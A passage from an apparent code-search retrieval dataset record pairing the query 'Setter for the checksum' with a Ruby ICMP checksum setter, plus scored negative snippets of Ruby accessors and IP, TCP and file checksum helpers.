"def code\n call_once\n @code\n end",
"def inspect\n \"#<#{self.class}: #@code>\"\n end",
"def code\n @json[:meta][:code]\n end",
"def inspect\n @code.to_s\n end",
"def code(a_code)\n\t\ta_code\n\tend",
"def name\n return \"#{@code}\"\n end",
"def code\n '202'\n end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def string=(code); end",
"def code=(v)\n @code = v\n end",
"def code_path\n self.code.qualified_name\n end",
"def code\n\t\ttoken\n\tend",
"def code\n @code ||= (read_attribute(:code) || (member.id * Time.now.to_i).to_s(36))\n end",
"def map_code\n @map_code\n end",
"def code\n path\n end",
"def codes; end",
"def hash\n code.hash\n end",
"def code_extractor(code)\n { code: code[:code], code_system: code[:codeSystem], title: code[:descriptor] }\n end",
"def code\n @response_attributes['Code'];\n end",
"def to_s\n @code.to_s\n end",
"def code\n @grpc.language_code\n end",
"def get_line(code)\n return code[2][0]\n end",
"def to_s\n code.to_s\n end",
"def code=(code)\n generate(code)\n end",
"def hash\n code.hash\n end",
"def extract_code!\n data = @data\n data.gsub!(/^``` ?([^\\r\\n]+)?\\r?\\n(.+?)\\r?\\n```\\r?$/m) do\n id = Digest::SHA1.hexdigest($2)\n cached = check_cache(:code, id)\n @codemap[id] = cached ?\n { :output => cached } :\n { :lang => $1, :code => $2 }\n id\n end\n data\n end",
"def code= new_code\n @code = new_code\n end",
"def description_and_code\n \"#{self.description} (#{self.code})\"\n end",
"def sic_code; end",
"def codes\n @codes ||= []\n end",
"def subCode\n if self.code.present?\n return self.codeArray[-1]\n else\n return nil\n end\n end",
"def generate_code\n # only need to do this if code not set\n return if code\n\n ensure_unique_code\n end",
"def get_name(code)\n return code[1]\n end",
"def language_code\n @language_code ||= code_parts[0]\n end",
"def display_code \n p @result.code \n end",
"def id\n code\n end",
"def to_s\r\n @code.to_s.upcase\r\n end",
"def call\n eval(@code)\n end",
"def generate_code\n self.code ||= self.create_code(client)\n save && code\n end",
"def method_code\r\n method_info[:method_code]\r\n end",
"def fetch\n self.send(code + '_value')\n end",
"def inspect\n \"f(#{@code.inspect})\"\n end",
"def inspect\n \"f(#{@code.inspect})\"\n end",
"def to_s\r\n code \r\n end",
"def method_Code\n method = \"method_Code\"\n end",
"def initialize(code)\n @code = code\n end",
"def initialize(code)\n @code = code\n end",
"def initialize(code)\n @code = code\n end",
"def codeblock\n H[:pre, attr, H[:code, value]]\n end",
"def ceeb_code\n @data['ceebCode']\n end",
"def code_html\n CodeRay.scan(self.code, :python).div().html_safe\n end",
"def show_code?\n @disasm_setting[:code]\n end",
"def setCode(code)\n @code = code\n end",
"def code_for(url)\n if obj = code_object(url)\n obj.data\n end\n end",
"def get_system(code)\n return code[2][1][0][1][1][1]\n end",
"def code_name(code)\n Codes.code_symbol(code)\n end",
"def parseCpGenerateCode\n return @fields[0][0][0]\n end",
"def raw_codewords\n @raw_codewords\n end",
"def inspect\n \"#<#{self.class}: #{@info.code}>\"\n end",
"def code\n\t\tself.AsArray[0].type_code\n\tend",
"def initialize\n @code_combination = code\n end",
"def initialize(code)\n @original_code = code\n end",
"def eval( code )\n\t\t# self.log.debug \"Evaling: %p\" [ code ]\n\t\treturn self.scope.instance_eval( code )\n\tend",
"def raw_code\n @raw_code ||= (File.read path).to_s.force_encoding(Encoding::UTF_8)\n end",
"def generate_code\n # return if not @type # ToDo: remove?\n @type.to_s + ' ' + code_name + ' = ' + value.to_s + ';'\n end",
"def fetch_from_code(code)\n client.code = code\n fetch_and_write\n end",
"def get_instance_system(code)\n return code[1][1]\n end",
"def set_code\n @code = Code.find(params[:id])\n end",
"def set_code\n @code = Code.find(params[:id])\n end",
"def set_code\n @code = Code.find(params[:id])\n end",
"def set_code\n @code = Code.find(params[:id])\n end",
"def set_code\n @code = Code.find(params[:id])\n end",
"def set_code\n @code = Code.find(params[:id])\n end",
"def set_code\n @code = Code.find(params[:id])\n end",
"def to_s\n code # editable\n end"
] | [
"0.88232267",
"0.88232267",
"0.8817283",
"0.8807403",
"0.8807403",
"0.87090474",
"0.8423073",
"0.8343125",
"0.8270456",
"0.8270456",
"0.82564116",
"0.8232786",
"0.8110974",
"0.80720246",
"0.8017178",
"0.7775155",
"0.7684521",
"0.7684521",
"0.7684521",
"0.7684521",
"0.7566253",
"0.7492068",
"0.74793416",
"0.7406069",
"0.73484606",
"0.7246596",
"0.72072154",
"0.7190726",
"0.7190726",
"0.7190726",
"0.7190726",
"0.7190726",
"0.7190726",
"0.7190726",
"0.71835965",
"0.71079755",
"0.70262176",
"0.69988614",
"0.6955997",
"0.68751353",
"0.68730456",
"0.68562967",
"0.6795853",
"0.6792032",
"0.67908883",
"0.67640615",
"0.6721894",
"0.66838217",
"0.66537625",
"0.6652332",
"0.6641704",
"0.6640143",
"0.6603474",
"0.6601658",
"0.6582818",
"0.6578838",
"0.65678376",
"0.65625495",
"0.6553751",
"0.6537839",
"0.6536815",
"0.6530871",
"0.652153",
"0.64824224",
"0.64561045",
"0.645061",
"0.6449844",
"0.6446282",
"0.6446163",
"0.6440354",
"0.6424514",
"0.6411476",
"0.6389654",
"0.6389654",
"0.63875705",
"0.6383982",
"0.6377664",
"0.63668185",
"0.6365813",
"0.6358933",
"0.63386965",
"0.63110834",
"0.6291075",
"0.628939",
"0.62816066",
"0.62773114",
"0.6267661",
"0.62642926",
"0.6258285",
"0.62210035",
"0.6218331",
"0.6218053",
"0.6207314",
"0.6205038",
"0.6205038",
"0.6205038",
"0.6205038",
"0.6205038",
"0.6205038",
"0.6205038",
"0.62005246"
] | 0.0 | -1 |
Setter for the checksum. Note, this is calculated automatically with icmp_calc_sum. | def icmp_sum=(i); typecast i; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def checksum!# {{{\n self.csum = compute_checksum\n end",
"def calc_checksum\n # Checksum is only on header, so cannot use IP.sum16,\n # which also calculates checksum on #body.\n nb_words = ihl * 2\n self.checksum = 0\n checksum = to_s.unpack(\"n#{nb_words}\").sum\n self[:checksum].value = IP.reduce_checksum(checksum)\n end",
"def calc_checksum\n sum = IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def calc_checksum\n sum = IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def set_ip_checksum\n self.ip_sum = 0\n check_sum_data = to_s[0..(ip_hl*4 - 1)].unpack(\"S>*\")\n sum = check_sum_data.inject(0) { |acc, byte| acc + byte }\n sum = sum + (sum >> 16)\n self.ip_sum = ~sum\n end",
"def checksum=(value)\n munge(@should)\n self.updatesum(value)\n end",
"def update_checksum\n hh = header(\" \" * 8)\n @checksum = oct(calculate_checksum(hh), 6)\n end",
"def calc_checksum\n sum = ip_header(self).pseudo_header_checksum\n sum += self.sz\n sum += IP_PROTOCOL\n sum += IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def calc_checksum\n ip = ip_header(self)\n sum = ip.pseudo_header_checksum\n sum += IP_PROTOCOL\n sum += self.sz\n sum += IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def checksum!\n self.checksum = compute_checksum\n end",
"def checksum!\n self.checksum = compute_checksum\n end",
"def checksum\n end",
"def checksum\n Nanoc::Checksummer.calc(self)\n end",
"def checksum\n @checksum ||= luhn_doubled.inject(0) { |a, e| a + sum_of(e) }\n end",
"def checksum\n self[:ip_sum]\n end",
"def calc_checksum\n ipv6 = ip_header(self)\n sum = ipv6.pseudo_header_checksum\n sum += IP_PROTOCOL\n sum += self.sz\n sum += IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def rubocop_checksum; end",
"def setchecksum(sum = nil)\n if @parameters.include? :checksum\n if sum\n @parameters[:checksum].checksum = sum\n else\n # If they didn't pass in a sum, then tell checksum to\n # figure it out.\n currentvalue = @parameters[:checksum].retrieve\n @parameters[:checksum].checksum = currentvalue\n end\n end\n end",
"def compute_checksum\n pseudo = []\n pseudo << ((((self.version << 4) | self.hlen) << 8) | self.tos)\n pseudo << self.len\n pseudo << self.id\n pseudo << ((self.flags << 13) | self.foffset)\n pseudo << ((self.ttl << 8) | self.protocol)\n pseudo << 0 \n pseudo << L3::Misc.ipv42long(self.src_ip)\n pseudo << L3::Misc.ipv42long(self.dst_ip)\n L3::Misc.checksum(pseudo.pack(\"nnnnnnNN\"))\n end",
"def checksum?# {{{\n self.csum == compute_checksum\n end",
"def compute_checksum# {{{\n pseudo = []\n pseudo << ((self.version << 8) | self.ttl)\n pseudo << 0\n pseudo << self.payload\n L3::Misc.checksum(pseudo.pack(\"nna*\"))\n end",
"def upstream_md5=( checksum )\n @digest = Crate::Digest.md5( checksum )\n end",
"def md5sum\n @md5sum ||= Digest::MD5.hexdigest(self.to_checksum_string)\n end",
"def icmp_calc_sum\n checksum = (icmp_type.to_i << 8)\t+ icmp_code.to_i\n chk_body = (body.to_s.size % 2 == 0 ? body.to_s : body.to_s + \"\\x00\")\n if 1.respond_to? :ord\n chk_body.split(\"\").each_slice(2).map { |x| (x[0].ord << 8) + x[1].ord }.each { |y| checksum += y }\n else\n chk_body.split(\"\").each_slice(2).map { |x| (x[0] << 8) + x[1] }.each { |y| checksum += y }\n end\n checksum = checksum % 0xffff\n checksum = 0xffff - checksum\n checksum == 0 ? 0xffff : checksum\n end",
"def checksum\n @crc ^ @xor_mask\n end",
"def icmp_calc_sum\n\t\t\tchecksum = (icmp_type.to_i << 8)\t+ icmp_code.to_i\n\t\t\tchk_body = (body.to_s.size % 2 == 0 ? body.to_s : body.to_s + \"\\x00\")\n\t\t\tif 1.respond_to? :ord\n\t\t\t\tchk_body.scan(/../).map { |x| (x[0].ord << 8) + x[1].ord }.each { |y| checksum += y }\n\t\t\telse\n\t\t\t\tchk_body.scan(/../).map { |x| (x[0] << 8) + x[1] }.each { |y| checksum += y }\n\t\t\tend\n\t\t\tchecksum = checksum % 0xffff\n\t\t\tchecksum = 0xffff - checksum\n\t\t\tchecksum == 0 ? 0xffff : checksum\n\t\tend",
"def checksum\n source[digest_type]\n end",
"def checksum\n Digest::SHA256.hexdigest(self.to_smash(:sorted).to_s)\n end",
"def checksums; end",
"def checksum(arg = nil)\n set_or_return(:checksum, arg, kind_of: [String])\n end",
"def calc_checksum\n c0 = c1 = 0\n to_s[2..].unpack('C*').each do |byte|\n c0 += byte\n c1 += c0\n end\n c0 %= 255\n c1 %= 255\n\n x = ((sz - 17) * c0 - c1) % 255\n x += 255 if x <= 0\n y = 255 * 2 - c0 - x\n y -= 255 if y > 255\n self.checksum = (x << 8) | y\n end",
"def checksum\n return @checksum if @checksum\n\n raise 'number1 is required' unless self.number1\n raise 'number2 is required' unless self.number2\n raise 'challenge is required' unless self.challenge\n\n checksum = ''\n checksum += [self.number1].pack('N')\n checksum += [self.number2].pack('N')\n checksum += self.challenge\n checksum = Digest::MD5.digest(checksum)\n\n return @checksum ||= checksum\n end",
"def upstream_sha1=( checksum )\n @digest = Crate::Digest.sha1( checksum )\n end",
"def get_checksum_method #:nodoc:\n @checksum_method = 3\n end",
"def checksum\n fil_header[:checksum]\n end",
"def checksum\n summation = 0\n @nmi.reverse.split(//).each_index do |i|\n value = nmi[nmi.length - i - 1].ord\n value *= 2 if i.even?\n value = value.to_s.split(//).map(&:to_i).reduce(:+)\n summation += value\n end\n checksum = (10 - (summation % 10)) % 10\n checksum\n end",
"def pseudo_header_checksum\n sum = 0\n self[:src].to_a.each { |word| sum += word.to_i }\n self[:dst].to_a.each { |word| sum += word.to_i }\n sum\n end",
"def checksum\n @checksum ||= begin\n if empty?\n EMPTY_CHECKSUM\n else\n ::Digest::MD5.hexdigest(children.map(&:checksum).join)\n end\n end.to_s\n end",
"def checksum(name)\n checksum_data[name]\n end",
"def checksum\n\t\t@checksum ||= FileManager.checksum(@path)\n #\t\tif file?\n #\t\t\treturn FileManager.checksum(@path)\n #\t\tend\n end",
"def fix!# {{{\n self.checksum!\n end",
"def checksum\n calc_checksum = 0\n byte_bit_nbr = 0\n @fuse_data.each { |bit|\n calc_checksum += 2**byte_bit_nbr if bit == 1\n byte_bit_nbr += 1\n byte_bit_nbr = 0 if byte_bit_nbr == 8\n }\n calc_checksum = calc_checksum % 2**16\n calc_checksum\n end",
"def calculate_checksum\n indices = build_word_indices(false)\n create_rs1024_checksum(indices).map{|i|i.to_bits(10)}.join.to_i(2)\n end",
"def tcp_calc_sum\n if @ipv6_header\n checksum = ipv6_calc_sum_on_addr\n tcp_len = ipv6_len\n else\n checksum = ip_calc_sum_on_addr\n tcp_len = ip_len.to_i - ((ip_hl.to_i) * 4)\n end\n\n checksum += 0x06 # TCP Protocol.\n checksum += tcp_len\n checksum += tcp_src\n checksum += tcp_dst\n checksum += (tcp_seq.to_i >> 16)\n checksum += (tcp_seq.to_i & 0xffff)\n checksum += (tcp_ack.to_i >> 16)\n checksum += (tcp_ack.to_i & 0xffff)\n checksum += ((tcp_hlen << 12) + \n (tcp_reserved << 9) + \n (tcp_ecn.to_i << 6) + \n tcp_flags.to_i\n )\n checksum += tcp_win\n checksum += tcp_urg\n\n chk_tcp_opts = (tcp_opts.to_s.size % 2 == 0 ? tcp_opts.to_s : tcp_opts.to_s + \"\\x00\") \n chk_tcp_opts.unpack(\"n*\").each {|x| checksum = checksum + x }\n if (tcp_len - (tcp_hlen * 4)) >= 0\n real_tcp_payload = payload[0, (tcp_len - (tcp_hlen * 4))] # Can't forget those pesky FCSes!\n else\n real_tcp_payload = payload # Something's amiss here so don't bother figuring out where the real payload is.\n end\n chk_payload = (real_tcp_payload.size % 2 == 0 ? real_tcp_payload : real_tcp_payload + \"\\x00\") # Null pad if it's odd.\n chk_payload.unpack(\"n*\").each {|x| checksum = checksum+x }\n checksum = checksum % 0xffff\n checksum = 0xffff - checksum\n checksum == 0 ? 0xffff : checksum\n @tcp_header.tcp_sum = checksum\n end",
"def specified_checksum\n @resource[:checksum]\n end",
"def calcChecksum(data)\n \n # calculate checksum\n checksum = 0xFF\n data.each_byte {|x| checksum ^= x }\n \n return checksum\n end",
"def calculated_checksum\n send(\"#{@resource[:checksum_type]}_file\".to_sym, @resource[:path]) \n end",
"def ip_calc_sum(pkt)\n checksum = (((pkt.ip_v << 4) + pkt.ip_hl) << 8) + pkt.ip_tos\n checksum += pkt.ip_len\n checksum += pkt.ip_id\n checksum += pkt.ip_frag\n checksum += (pkt.ip_ttl << 8) + pkt.ip_proto\n checksum += (pkt.ip_src >> 16)\n checksum += (pkt.ip_src & 0xffff)\n checksum += (pkt.ip_dst >> 16)\n checksum += (pkt.ip_dst & 0xffff)\n checksum = checksum % 0xffff \n checksum = 0xffff - checksum\n checksum == 0 ? 0xffff : checksum\n return checksum\nend",
"def checksum\n digest = @digest_klass.new\n buf = ''\n\n File.open(@path, \"rb\") do |f|\n while !f.eof\n begin\n f.readpartial(BUFFER_SIZE, buf)\n digest.update(buf)\n rescue EOFError\n # Although we check for EOF earlier, this seems to happen\n # sometimes anyways [GH-2716].\n break\n end\n end\n end\n\n digest.hexdigest\n end",
"def compute_checksum\n # some things are significant by default but can be overridden by config.\n significant =\n (@effective_route_config[@kind] &&\n @effective_route_config[@kind][SIGNIFICANT_KEY]) ||\n {}\n\n # verb and (response-only) http_status are always significant.\n significant_data = RightSupport::Data::Mash.new(verb: @verb)\n significant_data[:http_status] = @http_status if @http_status\n\n # significance by type.\n [:header, :query, :body].each do |type|\n copy_if_significant(type, significant, significant_data)\n end\n\n # use deep-sorted JSON to prevent random ordering changing the checksum.\n @checksum_data = self.class.deep_sorted_json(significant_data)\n if logger.debug?\n logger.debug(\"#{@kind} significant = #{significant.inspect}\")\n logger.debug(\"#{@kind} checksum_data = #{@checksum_data.inspect}\")\n end\n ::Digest::MD5.hexdigest(@checksum_data)\n end",
"def pseudo_header_checksum\n checksum = self[:src].to_i + self[:dst].to_i\n (checksum >> 16) + (checksum & 0xffff)\n end",
"def compute_checksum(data_)\n data = data_.dup\n data[22..25] = [0].pack(\"V\")\n crc = 0\n \n data.each_byte do |byte|\n crc = (crc << 8)^CHECKSUM_TABLE[((crc >> 24)&0xff) ^ byte]\n crc = crc & 0xffffffff\n end\n crc\n end",
"def verify_checksum!\n log.info(log_key) { \"Verifying checksum\" }\n\n expected = checksum\n actual = digest(downloaded_file, digest_type)\n\n if expected != actual\n raise ChecksumMismatch.new(self, expected, actual)\n end\n end",
"def validate_checksum\n raise Puppet::Error.new \"Inconsistent checksums. Checksum of fetched file is #{calculated_checksum}. You specified #{specified_checksum}\" if calculated_checksum != specified_checksum\n end",
"def calculate_checksum(file)\n @lookup_checksums[file] = Digest::MD5.hexdigest(File.read(file, mode: \"rb\")) rescue \"\"\n end",
"def checksum\n return nil if @window_bits < 0\n @deflater.closed? ? @checksum : @deflater.adler\n end",
"def checksum!\n # Get a deep copy of hash to compare with\n @_original_hash = Marshal.load(Marshal.dump(to_hash))\n # create a copy of basic elements\n base = self.reject { |k,_| ['_id', '_rev', 'couchrest-hash'].include? k.to_s }\n\n result = nil\n\n flatten =\n lambda {|r|\n (recurse = lambda {|v|\n if v.is_a?(Hash) || v.is_a?(CouchRest::Document)\n v.to_a.map{|v| recurse.call(v)}.flatten\n elsif v.is_a?(Array)\n v.flatten.map{|v| recurse.call(v)}\n else\n v.to_s\n end\n }).call(r)\n }\n self['couchrest-hash'] = Digest::MD5.hexdigest(flatten.call(base).sort.join(''))\n end",
"def checksum(string)\n Digest::SHA512.hexdigest([SALTER, string].join(SALTER_JOINER))\n end",
"def checksum_of(url, etag, last_modified)\n #noinspection RubyArgCount\n Zlib::crc32(url + etag + last_modified).to_s\n end",
"def checksum sequence_number\n Digest::MD5.hexdigest(@buffer[sequence_number])\n end",
"def checksum?\n self.checksum == self.compute_checksum\n end",
"def checksum(hex)\n sha256(sha256(hex))[0...8]\n end",
"def calculate_checksum\n last_checksum = previous_event&.checksum\n attrs = attributes.except(\"checksum\", \"id\", \"updated_at\").merge(last_checksum: last_checksum)\n cs = Digest::SHA256.hexdigest(attrs.to_s)\n puts \"#{id} calculate_checksum: #{cs} <- #{attrs} \" if Rails.env.development?\n Rails.logger.info(\"#{id} calculate_checksum: #{cs} <- #{attrs} \")\n return cs\n end",
"def ndp_calc_sum\n checksum = 0\n\n # Compute sum on pseudo-header\n [ipv6_src, ipv6_dst].each do |iaddr|\n 8.times { |i| checksum += (iaddr >> (i*16)) & 0xffff }\n end\n checksum += PacketFu::NDPHeader::PROTOCOL_NUMBER\n checksum += ipv6_len\n # Continue with entire ICMPv6 message.\n checksum += (ndp_type.to_i << 8) + ndp_code.to_i\n checksum += ndp_reserved.to_i >> 16\n checksum += ndp_reserved.to_i & 0xffff\n 8.times { |i| checksum += (ndp_tgt.to_i >> (i*16)) & 0xffff }\n checksum += (ndp_opt_type.to_i << 8) + ndp_opt_len.to_i\n\n mac2int = ndp_lla.to_s.unpack('H*').first.to_i(16)\n 3.times { |i| checksum += (mac2int >> (i*16)) & 0xffff }\n\n checksum = checksum % 0xffff\n checksum = 0xffff - checksum\n checksum == 0 ? 0xffff : checksum\n\n end",
"def checksum(path)\n FileChecksum.new(path, Digest::SHA1).checksum\n end",
"def set_checksums_by_ruby_hash(ruby_hash)\n self.update checksums: JSON.dump(ruby_hash)\n end",
"def checksum\n return nil if @window_bits < 0\n @inflater.closed? ? @checksum : @inflater.adler\n end",
"def checksum\n @checksum ||= begin\n voice = @attrs[:voice]\n data = [\n voice.engine_id.to_s,\n voice.lang_id.to_s,\n voice.voice_id.to_s,\n @attrs[:text].to_s,\n @attrs[:ext].to_s,\n @attrs[:fx_type].to_s,\n @attrs[:fx_level].to_s,\n @attrs[:account_id].to_s,\n @attrs[:api_id].to_s,\n @attrs[:session].to_s,\n @attrs[:secret_phrase].to_s\n ].join('')\n Digest::MD5.hexdigest(data)\n end\n end",
"def checksum_of(origin)\n #noinspection RubyArgCount\n Zlib::crc32(origin).to_s\n end",
"def dmg_package_checksum\n case new_resource.source\n when :direct\n package_metadata[:sha256]\n else\n new_resource.checksum\n end\n end",
"def checksum_of(origin)\n #noinspection RubyArgCount\n Zlib::crc32(origin).to_s\n end",
"def icmp_sum; self[:icmp_sum].to_i; end",
"def icmp_sum; self[:icmp_sum].to_i; end",
"def compute_checksum(h)\n begin\n signed_h = h.dup.with_indifferent_access\n CLEAR_OPTIONS.map{|o| signed_h.delete(o) }\n marshaled = ActionController::Routing::Route.new.build_query_string(signed_h)\n marshaled = marshaled.gsub(/^\\?/, '').split(/&/).sort.join('&')\n digest.call(self, Base64.encode64(marshaled.to_s.reverse)).to_s\n ensure\n end\n end",
"def checksum64(io)\n Base64.encode64([checksum(io)].pack(\"H*\")).strip\n end",
"def checksum\n\t\taddends.reduce(:+)\n\tend",
"def checksum(msg)\n length = msg.length\n num_short = length / 2\n check = 0\n\n msg.unpack(\"n#{num_short}\").each do |short|\n check += short\n end\n\n if length % 2 > 0\n check += msg[length-1, 1].unpack('C').first << 8\n end\n\n check = (check >> 16) + (check & 0xffff)\n return (~((check >> 16) + check) & 0xffff)\n end",
"def image_checksum(data, index1 = 0, index2 = 0) #:nodoc:\n case @checksum_method\n when 3\n Digest::MD5.hexdigest(data)\n when 1\n # Digest::MD4\n # return Digest::MD4::md4_hex($data);\n when 2\n # Digest::Perl::MD4\n # return Digest::Perl::MD4::md4_hex($data);\n else\n # Default\n # return sprintf('%016X%016X', index2, index1)\n end\n end",
"def checksum\n @checksum ||= begin\n representative_checksums = work_presenter.public_member_presenters.collect(&:representative_checksum).compact\n Digest::MD5.hexdigest(representative_checksums.join(\"-\"))\n end\n end",
"def checksum_trailer\n fil_trailer[:checksum]\n end",
"def checksum(iFirstOrSecond)\n\n\t\t# if invalid index\n\t\treturn 0xFF if (1 < iFirstOrSecond)\n\n\t\treturn @aChecksum[iFirstOrSecond];\n\n\tend",
"def external_dependency_checksum\n nil\n end",
"def ipv6_calc_sum_on_addr(cksum=0)\n checksum = cksum\n [ipv6_src, ipv6_dst].each do |iaddr|\n 8.times do |i|\n checksum += (iaddr >> (i * 16)) & 0xffff\n end\n end\n checksum\n end",
"def file_checksum(file_path)\n Digest::SHA256.file(file_path).hexdigest\n end",
"def checksum(hex)\n sha256(sha256(hex))[0...8]\nend",
"def checksum(file, digest=nil)\n return nil unless digest\n if FileTest.directory?(file)\n @null_string ||= digester(digest).hexdigest(\"\") # TODO use other means\n else\n digester(digest).hexdigest(File.read(file))\n end\n end",
"def checksum_file(digest_class, path)\n digester = digest_class.new\n digester.file(path)\n digester.hexdigest\n end",
"def updatesum(newvalue)\n return unless c = resource.catalog and c.host_config?\n result = false\n\n # if we're replacing, vs. updating\n if sum = cache(checktype())\n return false if newvalue == sum\n\n self.debug \"Replacing %s checksum %s with %s\" % [@resource.title, sum, newvalue]\n result = true\n else\n @resource.debug \"Creating checksum %s\" % newvalue\n result = false\n end\n\n # Cache the sum so the log message can be right if possible.\n @cached = sum\n cache(checktype(), newvalue)\n return result\n end",
"def validate_checksum_state\n super\n end",
"def finish\n self.class.pack(checksum)\n end",
"def fetch_checksum\n uri = URI(new_resource.checksum_uri)\n request = Net::HTTP.new(uri.host, uri.port)\n request.use_ssl = true if uri.to_s.start_with?('https')\n response = request.get(uri)\n if response.code != '200'\n Chef::Log.fatal(\"Fetching the Logstash tarball checksum at #{uri} resulted in an error #{response.code}\")\n raise\n end\n response.body.split(' ')[0]\n rescue => e\n Chef::Log.fatal(\"Could not fetch the checksum due to an error: #{e}\")\n raise\n end",
"def checksum\n (10 - (digits.each_with_index.inject(0) do |sum, (digit, index)|\n sum + (digit * (index.even? ? 1 : 3))\n end % 10)) % 10\n end",
"def use_location_in_checksum=(value)\n @attributes[:use_location_in_checksum] = value\n end",
"def external_dependency_checksum; end",
"def checksum_char\n packed_orcid[-1]\n end",
"def set_checksum_record\n @checksum_record = ChecksumRecord.find(params[:id])\n end",
"def checksum\n render json: content_files_checksums(druid).to_json\n end",
"def checksum?\n self.checksum == compute_checksum\n end",
"def checksum_innodb\n unless size == 16384\n raise \"Checksum calculation is only supported for 16 KiB pages\"\n end\n\n @checksum_innodb ||= begin\n # Calculate the InnoDB checksum of the page header.\n c_partial_header = Innodb::Checksum.fold_enumerator(each_page_header_byte_as_uint8)\n\n # Calculate the InnoDB checksum of the page body.\n c_page_body = Innodb::Checksum.fold_enumerator(each_page_body_byte_as_uint8)\n\n # Add the two checksums together, and mask the result back to 32 bits.\n (c_partial_header + c_page_body) & Innodb::Checksum::MAX\n end\n end",
"def checksum\n odd_length_checksum = 0\n even_length_checksum = 0\n length = nil\n\n @id_string.each_digit_with_position do |n, position|\n length = position\n if position.even?\n odd_length_checksum += double_digit_value(n)\n even_length_checksum += n\n else\n odd_length_checksum += n\n even_length_checksum += double_digit_value(n)\n end\n end\n\n length.odd? ? odd_length_checksum : even_length_checksum\n\n end",
"def calc_checksum\n @encrypted_name.chars.delete_elem('-').group_eq.transform_values(&:length).sort_by do |_, v|\n -v\n end.group_by(&:second).map do |_, v|\n v.sort\n end.sum.map(&:first).take(5).join\n end"
] | [
"0.78006846",
"0.7630904",
"0.75601715",
"0.75601715",
"0.7535507",
"0.7255537",
"0.72143877",
"0.71747106",
"0.71638554",
"0.7152814",
"0.7152814",
"0.69322777",
"0.68993336",
"0.68759924",
"0.6854359",
"0.676435",
"0.6656922",
"0.6639629",
"0.6599365",
"0.6554887",
"0.6534402",
"0.64817536",
"0.64261746",
"0.64081466",
"0.6379525",
"0.6372572",
"0.631574",
"0.62218386",
"0.6216703",
"0.6183843",
"0.618026",
"0.6116536",
"0.60997397",
"0.6078439",
"0.6030848",
"0.6019551",
"0.5933669",
"0.59267837",
"0.58961123",
"0.58453727",
"0.584059",
"0.58307683",
"0.5829505",
"0.5827117",
"0.57868046",
"0.5752743",
"0.57173383",
"0.5714701",
"0.5664832",
"0.5645307",
"0.56363994",
"0.56288564",
"0.5625867",
"0.5613595",
"0.5607052",
"0.5583567",
"0.55817974",
"0.55768824",
"0.5516986",
"0.5492414",
"0.5447139",
"0.54377544",
"0.54127103",
"0.53853595",
"0.5373294",
"0.53669125",
"0.5357606",
"0.53507113",
"0.5343487",
"0.5307394",
"0.5305634",
"0.5292641",
"0.5292641",
"0.52117044",
"0.52021086",
"0.51900387",
"0.51771474",
"0.51703465",
"0.51582474",
"0.5112189",
"0.51103675",
"0.508358",
"0.50782394",
"0.5073576",
"0.5066435",
"0.50599754",
"0.50416386",
"0.5032043",
"0.50315046",
"0.502846",
"0.5012609",
"0.50034726",
"0.50006384",
"0.49833325",
"0.49640948",
"0.49560976",
"0.4953359",
"0.49475065",
"0.49467516",
"0.4939874",
"0.493949"
] | 0.0 | -1 |
Getter for the checksum. | def icmp_sum; self[:icmp_sum].to_i; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def checksum\n end",
"def checksum\n Nanoc::Checksummer.calc(self)\n end",
"def checksum\n source[digest_type]\n end",
"def checksum!# {{{\n self.csum = compute_checksum\n end",
"def checksum\n\t\t@checksum ||= FileManager.checksum(@path)\n #\t\tif file?\n #\t\t\treturn FileManager.checksum(@path)\n #\t\tend\n end",
"def checksum\n @checksum ||= luhn_doubled.inject(0) { |a, e| a + sum_of(e) }\n end",
"def checksum\n fil_header[:checksum]\n end",
"def checksum\n self[:ip_sum]\n end",
"def checksum\n return @checksum if @checksum\n\n raise 'number1 is required' unless self.number1\n raise 'number2 is required' unless self.number2\n raise 'challenge is required' unless self.challenge\n\n checksum = ''\n checksum += [self.number1].pack('N')\n checksum += [self.number2].pack('N')\n checksum += self.challenge\n checksum = Digest::MD5.digest(checksum)\n\n return @checksum ||= checksum\n end",
"def checksum\n Digest::SHA256.hexdigest(self.to_smash(:sorted).to_s)\n end",
"def specified_checksum\n @resource[:checksum]\n end",
"def rubocop_checksum; end",
"def checksum!\n self.checksum = compute_checksum\n end",
"def checksum!\n self.checksum = compute_checksum\n end",
"def checksum\n @checksum ||= begin\n if empty?\n EMPTY_CHECKSUM\n else\n ::Digest::MD5.hexdigest(children.map(&:checksum).join)\n end\n end.to_s\n end",
"def checksum?# {{{\n self.csum == compute_checksum\n end",
"def calc_checksum\n # Checksum is only on header, so cannot use IP.sum16,\n # which also calculates checksum on #body.\n nb_words = ihl * 2\n self.checksum = 0\n checksum = to_s.unpack(\"n#{nb_words}\").sum\n self[:checksum].value = IP.reduce_checksum(checksum)\n end",
"def checksum(name)\n checksum_data[name]\n end",
"def calc_checksum\n sum = IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def calc_checksum\n sum = IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def checksums; end",
"def checksum\n @crc ^ @xor_mask\n end",
"def calculate_checksum\n last_checksum = previous_event&.checksum\n attrs = attributes.except(\"checksum\", \"id\", \"updated_at\").merge(last_checksum: last_checksum)\n cs = Digest::SHA256.hexdigest(attrs.to_s)\n puts \"#{id} calculate_checksum: #{cs} <- #{attrs} \" if Rails.env.development?\n Rails.logger.info(\"#{id} calculate_checksum: #{cs} <- #{attrs} \")\n return cs\n end",
"def calculated_checksum\n send(\"#{@resource[:checksum_type]}_file\".to_sym, @resource[:path]) \n end",
"def compute_checksum# {{{\n pseudo = []\n pseudo << ((self.version << 8) | self.ttl)\n pseudo << 0\n pseudo << self.payload\n L3::Misc.checksum(pseudo.pack(\"nna*\"))\n end",
"def get_checksum_method #:nodoc:\n @checksum_method = 3\n end",
"def checksum?\n self.checksum == self.compute_checksum\n end",
"def md5sum\n @md5sum ||= Digest::MD5.hexdigest(self.to_checksum_string)\n end",
